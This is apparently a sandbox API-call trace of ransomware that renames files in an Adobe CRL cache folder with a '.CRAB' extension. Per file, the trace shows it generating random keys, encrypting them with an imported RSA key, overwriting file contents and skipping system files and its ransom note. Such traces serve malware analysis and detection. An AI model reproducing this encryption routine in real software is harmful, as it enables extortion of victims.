	[0109.133] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB.CRAB"
	[0109.133] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e5a0) returned 1
	[0109.133] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.133] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.134] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.134] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0109.134] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0109.134] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.134] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e6b0) returned 1
	[0109.134] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.135] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.135] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0109.135] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.135] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.135] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.135] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.136] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6ed98) returned 1
	[0109.136] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0xd809e0) returned 1
	[0109.136] CryptGetKeyParam (in: hKey=0xd809e0, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0109.136] CryptEncrypt (in: hKey=0xd809e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0109.136] GetLastError () returned 0x0
	[0109.136] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.136] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e408) returned 1
	[0109.137] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0xd80c60) returned 1
	[0109.137] CryptGetKeyParam (in: hKey=0xd80c60, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0109.137] CryptEncrypt (in: hKey=0xd80c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0109.137] GetLastError () returned 0x0
	[0109.137] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.137] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0109.138] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.138] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.138] ReadFile (in: hFile=0x3d8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314947c*=0x27d, lpOverlapped=0x0) returned 1
	[0109.194] VirtualAlloc (lpAddress=0x0, dwSize=0x280, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.194] VirtualAlloc (lpAddress=0x0, dwSize=0x280, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.195] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.195] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffd83, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.195] WriteFile (in: hFile=0x3d8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314946c*=0x280, lpOverlapped=0x0) returned 1
	[0109.195] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.195] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.198] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0109.198] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0109.198] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0109.198] CloseHandle (hObject=0x3d8) returned 1
	[0109.199] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.199] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.199] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.199] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.199] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.200] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.200] FindNextFileW (in: hFindFile=0xd80a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0109.200] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2=".") returned 1
	[0109.200] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="..") returned 1
	[0109.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl"
	[0109.200] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.200] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117
	[0109.200] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117
	[0109.200] lstrlenW (lpString=".crl") returned 4
	[0109.200] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.200] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".crl ") returned 5
	[0109.200] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.200] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117
	[0109.200] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117
	[0109.200] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="desktop.ini") returned -1
	[0109.200] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="autorun.inf") returned 1
	[0109.200] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="ntuser.dat") returned -1
	[0109.201] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="iconcache.db") returned -1
	[0109.201] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="bootsect.bak") returned 1
	[0109.201] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="boot.ini") returned 1
	[0109.201] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="ntuser.dat.log") returned -1
	[0109.201] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="thumbs.db") returned -1
	[0109.201] lstrcmpiW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="CRAB-DECRYPT.txt") returned -1
	[0109.201] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.201] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB") returned 122
	[0109.201] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl")) returned 0x20
	[0109.201] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", dwFileAttributes=0x20) returned 1
	[0109.201] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl.crab")) returned 1
	[0109.202] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.202] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB"
	[0109.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB.CRAB"
	[0109.202] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e7c0) returned 1
	[0109.203] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.203] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.203] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.203] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0109.203] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0109.203] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.203] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e9e0) returned 1
	[0109.203] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.204] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.204] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.204] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0109.204] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.204] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.204] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.204] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.205] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6ed98) returned 1
	[0109.205] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0xd80d20) returned 1
	[0109.205] CryptGetKeyParam (in: hKey=0xd80d20, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0109.205] CryptEncrypt (in: hKey=0xd80d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0109.205] GetLastError () returned 0x0
	[0109.205] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.205] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e7c0) returned 1
	[0109.205] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0xd80720) returned 1
	[0109.205] CryptGetKeyParam (in: hKey=0xd80720, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0109.206] CryptEncrypt (in: hKey=0xd80720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0109.206] GetLastError () returned 0x0
	[0109.206] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0109.206] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0109.206] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.206] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.207] ReadFile (in: hFile=0x3d8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314947c*=0x1a9, lpOverlapped=0x0) returned 1
	[0109.216] VirtualAlloc (lpAddress=0x0, dwSize=0x1b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.216] VirtualAlloc (lpAddress=0x0, dwSize=0x1b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.216] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.216] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffe57, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.216] WriteFile (in: hFile=0x3d8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314946c*=0x1b0, lpOverlapped=0x0) returned 1
	[0109.216] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.217] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.220] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0109.236] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0109.236] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0109.236] CloseHandle (hObject=0x3d8) returned 1
	[0109.237] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.237] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.237] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.238] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.238] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.238] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.238] FindNextFileW (in: hFindFile=0xd80a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0109.238] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.238] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.238] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CRAB-DECRYPT.txt"
	[0109.238] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.239] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CRAB-DECRYPT.txt") returned 89
	[0109.239] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CRAB-DECRYPT.txt") returned 89
	[0109.239] lstrlenW (lpString=".txt") returned 4
	[0109.239] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.239] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.239] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.239] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CRAB-DECRYPT.txt") returned 89
	[0109.239] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CRAB-DECRYPT.txt") returned 89
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.239] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.239] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.240] FindNextFileW (in: hFindFile=0xd80a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0109.240] FindClose (in: hFindFile=0xd80a60 | out: hFindFile=0xd80a60) returned 1
	[0109.240] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0109.240] FindClose (in: hFindFile=0xd80360 | out: hFindFile=0xd80360) returned 1
	[0109.240] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0109.240] FindClose (in: hFindFile=0xd802e0 | out: hFindFile=0xd802e0) returned 1
	[0109.240] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0109.240] FindClose (in: hFindFile=0xd80520 | out: hFindFile=0xd80520) returned 1
	[0109.240] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.240] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.240] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.240] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\CRAB-DECRYPT.txt"
	[0109.240] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.241] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\CRAB-DECRYPT.txt") returned 60
	[0109.241] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\CRAB-DECRYPT.txt") returned 60
	[0109.241] lstrlenW (lpString=".txt") returned 4
	[0109.241] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.241] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.241] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.241] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\CRAB-DECRYPT.txt") returned 60
